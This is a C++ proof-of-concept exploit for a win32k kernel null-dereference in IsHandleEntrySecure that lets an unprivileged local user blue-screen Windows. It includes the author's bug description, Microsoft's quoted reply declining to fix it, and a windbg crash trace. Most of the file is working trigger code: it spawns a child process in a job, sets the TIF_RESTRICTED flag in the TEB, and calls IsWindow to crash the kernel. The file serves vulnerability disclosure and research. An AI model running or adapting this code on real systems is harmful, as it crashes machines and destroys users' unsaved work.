// // IsHandleEntrySecure_w32job_dereference_bsod.cpp // @sixtyvividtails // // // Function win32k!IsHandleEntrySecure() doesn't properly check if 'pW32Job' field of 'tagPROCESSINFO' for current // process contains non-zero value. This allows unprivileged local user to cause null derefence in kernel mode (that's // it, just bsod). // // NtUserValidateHandleSecure(win32Handle) -> // ValidateHandleSecure(win32Handle, 3) -> // IsHandleEntrySecure(win32Handle, pHandleEntry) -> bsod // // // To get bsod, user should call NtUserValidateHandleSecure(), with following conditions: // 1) Calling process SHOULD NOT be assigned to job. // 2) Handle for validation should specify "owned" object (flags OCF_THREADOWNED or OCF_PROCESSOWNED). // 3) Process which owns object SHOULD be assigned to job. // // // // IsHandleEntrySecure: // ... // .text:00149042 eax: current process processInfo // .text:00149042 edx: handleEntry process processInfo // .text:00149042 // .text:00149042 checkHandleInJob: ; CODE XREF: IsHandleEntrySecure(x,x)+48j // .text:00149042 mov ecx, [eax+tagPROCESSINFO.pW32Job] ; ecx: pW32Job of current process processInfo // .text:00149048 cmp [edx+tagPROCESSINFO.pW32Job], ecx // .text:0014904E jz short ret_1 // .text:0014904E // .text:00149050 mov edx, [ecx+tagW32JOB.pgh] ; <<<<<<< let's bsod here // .text:00149053 xor eax, eax // .text:00149055 test edx, edx // .text:00149057 jz short ret_eax // // // // Microsoft doesn't consider this as vulnerability. Their responce to my report of the bug: // // QUOTE START // I looked through your report, and it appears to be a local DOS. Although this is an unfortunate bug, we don't // consider it a security vulnerability according to our 10 immutable laws of security // (http://technet.microsoft.com/library/cc722487.aspx). If you know how to exploit this bug without violating one of // those laws, we would consider it a remote DOS which is considered a vulnerability. // // If you'd like to see this bug fixed, please contact Microsoft Product Support Services at // http://support.microsoft.com/common/international.aspx. You may also want to try posting a message to our free // support newsgroups. See Microsoft Product Support Newsgroups at http://support.microsoft.com/newsgroups/ for more // information. // QUOTE END // #include #include #include #pragma section(".shared", read, write, shared) __declspec(allocate(".shared")) HWND WindowHandle; __declspec(allocate(".shared")) HANDLE ChildWindowReadyEvent; __declspec(allocate(".shared")) HANDLE ParentProcess; int go_first_instance() { wprintf( L"IsHandleEntrySecure_w32job_dereference_bsod\n" L"@sixtyvividtails 2013-11-12\n" L"\n"); // Make job for second process, and set some restrictions, so 'W32Job' field of 'tagPROCESSINFO' gets filled. HANDLE job = CreateJobObject(NULL, NULL); JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions = {JOB_OBJECT_UILIMIT_WRITECLIPBOARD}; SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions)); STARTUPINFO si = {sizeof(si)}; PROCESS_INFORMATION pi = {}; CreateProcess(NULL, GetCommandLine(), NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi); if (!AssignProcessToJobObject(job, pi.hProcess)) return TerminateProcess(pi.hProcess, -1), wprintf(L"AssignProcessToJobObject failed\n"); auto me = GetCurrentProcess(); DuplicateHandle(me, me, pi.hProcess, &ParentProcess, SYNCHRONIZE, FALSE, 0); HANDLE childWindowReady = CreateEvent(NULL, FALSE, FALSE, NULL); DuplicateHandle(me, childWindowReady, pi.hProcess, &ChildWindowReadyEvent, EVENT_MODIFY_STATE, FALSE, 0); ResumeThread(pi.hThread); // Wanna call 'NtUserValidateHandleSecure', but don't wanna hardcode func offsets or api numbers. // So, we can make user32 to call that function for us if we fake TIF_RESTRICTED flag in local tagCLIENTINFO // (Teb->Win32ClientInfo, its offsets are quite stable). BOOL x64 = FALSE; __asm { xor eax, eax; mov ax, gs; mov x64, eax; } // (note: no sanity checks here) PDWORD threadInfoFlags = x64? PDWORD(__readfsdword(0xf70) + 0x800 + 0x1c): // &teb->teb64->Win32ClientInfo.dwTIFlags PDWORD(__readfsdword(0x018) + 0x6cc + 0x14); // &teb->Win32ClientInfo.dwTIFlags *threadInfoFlags |= 0; // die now if ptr invalid. WaitForSingleObject(childWindowReady, 7000); wprintf(L"ready to bsod, HWND: %p\n" L"press to continue...\n", WindowHandle); _getwch(); *threadInfoFlags |= 0x20000000; // TIF_RESTRICTED IsWindow(WindowHandle); // boom. Just indirect call to 'NtUserValidateHandleSecure()'. // Could as well call NtUserValidateHandleSecure(WindowHandle) directly, without messing with teb. // should not be here. wprintf(L"bsod failed, I am so sorry.\n"); return 0; } int go_second_instance() { WindowHandle = CreateWindowEx(0, L"BUTTON", L"bsod", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL); SetEvent(ChildWindowReadyEvent); WaitForSingleObject(ParentProcess, INFINITE); return 0; } int main() { if (!ChildWindowReadyEvent) go_first_instance(); else go_second_instance(); return 0; } #if 0 stacktrace, win8 x64: FOLLOWUP_IP: win32k!IsHandleEntrySecure+71 fffff960`002a7591 488b4a38 mov rcx,qword ptr [rdx+38h] SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: win32k!IsHandleEntrySecure+71 FOLLOWUP_NAME: MachineOwner MODULE_NAME: win32k IMAGE_NAME: win32k.sys DEBUG_FLR_IMAGE_TIMESTAMP: 5216eef4 STACK_COMMAND: .cxr 0xfffff880190d31b0 ; kb BUCKET_ID_FUNC_OFFSET: 71 FAILURE_BUCKET_ID: 0x3B_win32k!IsHandleEntrySecure BUCKET_ID: 0x3B_win32k!IsHandleEntrySecure Followup: MachineOwner --------- 4: kd> k Child-SP RetAddr Call Site fffff880`190d28b8 fffff802`36876769 nt!KeBugCheckEx fffff880`190d28c0 fffff802`368760bc nt!KiBugCheckDispatch+0x69 fffff880`190d2a00 fffff802`368e34bd nt!KiSystemServiceHandler+0x7c fffff880`190d2a40 fffff802`3690b3d4 nt!RtlpExecuteHandlerForException+0xd fffff880`190d2a70 fffff802`368e5216 nt!RtlDispatchException+0x458 fffff880`190d3180 fffff802`36876842 nt!KiDispatchException+0x455 fffff880`190d3840 fffff802`36874fba nt!KiExceptionDispatch+0xc2 fffff880`190d3a20 fffff960`002a7591 nt!KiPageFault+0x23a fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71 fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31 fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe 4: kd> r rax=fffff880190d29c0 rbx=0000000000000000 rcx=000000000000003b rdx=00000000c0000005 rsi=fffff880190ce000 rdi=fffff880190d4000 rip=fffff80236877440 rsp=fffff880190d28b8 rbp=fffff880190d2b70 r8=fffff960002a7591 r9=fffff880190d31b0 r10=0000000000000000 r11=fffff80236b2e410 r12=0000000000000000 r13=0000000000000000 r14=fffff880190d3978 r15=fffff80236876453 iopl=0 nv up ei ng nz na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286 nt!KeBugCheckEx: fffff802`36877440 48894c2408 mov qword ptr [rsp+8],rcx ss:0018:fffff880`190d28c0=3b00000000000000 4: kd> .cxr 0xfffff880190d31b0 rax=0000000000000001 rbx=fffff90100407bc0 rcx=fffff90102966a60 rdx=0000000000000000 rsi=0000000000030528 rdi=0000000000030528 rip=fffff960002a7591 rsp=fffff880190d3bb0 rbp=0000000000000000 r8=0000000000000000 r9=0000000077e5dc64 r10=fffff960002a75c4 r11=fffff880190d3be0 r12=000000007edab000 r13=000000000011fdb0 r14=000000000021fc20 r15=0000000077d72300 iopl=0 nv up ei ng nz na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010286 win32k!IsHandleEntrySecure+0x71: fffff960`002a7591 488b4a38 mov rcx,qword ptr [rdx+38h] ds:002b:00000000`00000038=???????????????? 4: kd> k *** Stack trace for last set context - .thread/.cxr resets it Child-SP RetAddr Call Site fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71 fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31 fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe #endif // #if 0